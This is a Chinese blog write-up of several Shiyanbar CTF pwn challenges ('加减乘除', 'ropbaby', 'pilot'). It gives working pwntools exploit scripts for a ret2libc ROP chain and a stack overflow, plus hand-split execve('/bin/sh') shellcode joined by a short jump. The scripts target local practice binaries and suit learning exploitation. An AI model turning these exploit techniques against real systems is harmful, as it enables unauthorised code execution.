昨天没事 想到了实验吧 去刷了两道逆向题 现在想起来了 实验吧的pwn 就那么几道 想去刷一下
实验吧的 那个题目我好像做过了
https://blog.csdn.net/qq_41071646/article/details/80640475
我服气了 改个分组非要说我违规,,,
唉,, 没办法凑合着看吧 2018 6月写的
做的时候我对pwn 还没有一点点的认识,,,, 都一年多了鸭,,,
部分逆向题解 wp 这个是不断更新的
https://blog.csdn.net/qq_41071646/article/details/89056010
然后开始 做 实验吧题目,
加减乘除
这个题目好像有点意思哈
让提取 shellcode,,, pwntools 一把梭,,
# -*- coding:utf-8 -*-
import os
import base64
from pwn import*
asm_code = """.global _start
_start:
jmp test1
test2:
pop ebx
mov al, 0xa
int 0x80
mov al, 0x1
xor ebx, ebx
int 0x80
test1:
call test2
.string "delfile" """
shellcode=asm(asm_code).encode('hex')
flag=""
for i in range(0,len(shellcode),2):
flag+=r'\x'
flag+=shellcode[i]+shellcode[i+1]
print flag
但是提交就成了这个 玩意,
不知道怎么回事
ropbaby
好吧 估计是实验吧所有的服务器都挂了 那么我直接本地打通算了
这个ropbaby的溢出点 在这里
而且这个题目还给了 一个可以看函数的地址的功能
第一个 功能一开始我发现不对,,, (基址 一看就不对 )
还以为 第二个也不对 后来验证了一下 发现正确那么直接用就好 值得注意的是 这个题目是开启了PIE 所以 ROP 最好去 so库里面找
# -*- coding:utf-8 -*-
import os
import base64
from pwn import*
io=process("./ropbaby")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
pop_rdi=0x21102
if __name__=="__main__":
io.recvuntil(":")
io.sendline('2')
#gdb.attach(io)
io.recvuntil("Enter symbol:")
io.sendline("system")
io.recvuntil("0x")
system_addr=int(io.recvline(),16)
log.success("system_addr:"+hex(system_addr))
libc_base_addr=system_addr-libc.sym['system']
log.success("libc base :"+hex(libc_base_addr))
bin_sh_addr=libc.search("/bin/sh").next()+libc_base_addr
log.success("bin_sh_addr"+hex(bin_sh_addr))
pop_rdi=pop_rdi+libc_base_addr
io.sendline('3')
payload=p64(0)+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)
io.sendline(str(len(payload)))
io.sendline(payload)
io.interactive()
io.close()
运行结果
这个题算是很简单的题目了,。。
pilot
这个题目保护全关
程序溢出点就是 read 并且 会输出buf的地址
可以调试确定一下
然后这道题的难点就是 shellcode
本来我是这样写的 自以为会没有什么毛病 可是权限没有拿到 然后我看了一下 shellcode 的大小长度
发现了 是
额,,, 远远超过这个长度 这样的话 我们就有了两个选择,,
要么 再找这样的shellcode 要么再找一个shellcode 要么可以利用短跳转来执行shellcode
#xor rdx, rdx
#mov rbx, 0x68732f6e69622f2f
#shr rbx, 0x8
#push rbx
#mov rdi, rsp
#push rax
#push rdi
#mov rsi, rsp
#mov al, 0x3b
#syscall
我先找了个 比较短的 0x1e 一开始想着 0x1e 应该可以了 毕竟 距离栈底是 0x20
然后调试了一波发现了问题
嗯哼? 被截断了,,,
。。。。 短跳转就没有什么好说的 JMP是最好的选择 不会影响堆栈平衡 和寄存器
E9 是长 EB就是短 EB+偏移就是跳转的
那么 我们这里 改一下
#xor rdx, rdx
#mov rbx, 0x68732f6e69622f2f
#shr rbx, 0x8
#push rbx
#mov rdi, rsp
#push rax
#jmp
#push rdi
#mov rsi, rsp
#mov al, 0x3b
#syscall
直接改到返回地址底下 那一块地址绝对不会再 主函数里面改变
然后执行shellcode的时候把 跳过去就好了
# -*- coding:utf-8 -*-
import os
import base64
from pwn import*
io=process("./pilot")
#xor rdx, rdx
#mov rbx, 0x68732f6e69622f2f
#shr rbx, 0x8
#push rbx
#mov rdi, rsp
#push rax
#jmp
#push rdi
#mov rsi, rsp
#mov al, 0x3b
#syscall
if __name__=="__main__":
shellcode1="\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50"
shellcode1+="\xeb\x18"
print hex(len(shellcode1))
#xor rdx, rdx
#mov rbx, 0x68732f6e69622f2f
#shr rbx, 0x8
#push rbx
#mov rdi, rsp
#push rax
#jmp 18h
shellcode2="\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
#push rdi
#mov rsi, rsp
#mov al, 0x3b
io.recvuntil('Location:')
buf_addr=int(io.recvline(),16)
log.success("buf_addr"+hex(buf_addr))
payload=shellcode1+(40-len(shellcode1))*'a'+p64(buf_addr)
payload+=shellcode2
#gdb.attach(io)
io.sendline(payload)
io.interactive()
io.close()
拿到权限
至于这个printf 我在上一篇的格式化漏洞做过这道题
https://blog.csdn.net/qq_41071646/article/details/96148737
结篇,,,